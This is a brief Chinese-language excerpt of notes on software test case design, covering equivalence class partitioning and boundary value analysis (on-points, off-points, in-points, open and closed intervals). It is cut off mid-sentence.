测试用例设计 等价类划分法有效等价类满足需求的无效等价类不满足需求的等价类划分方法操作步骤明确需求 确定有效和无效等价类 编写测试用例边界值划分法 边界范围上点处在边界上的点(正好等于)离点离上点最近的点内点范围内的点开区间,闭区间[开始值,结束值] - 闭区间,包含开…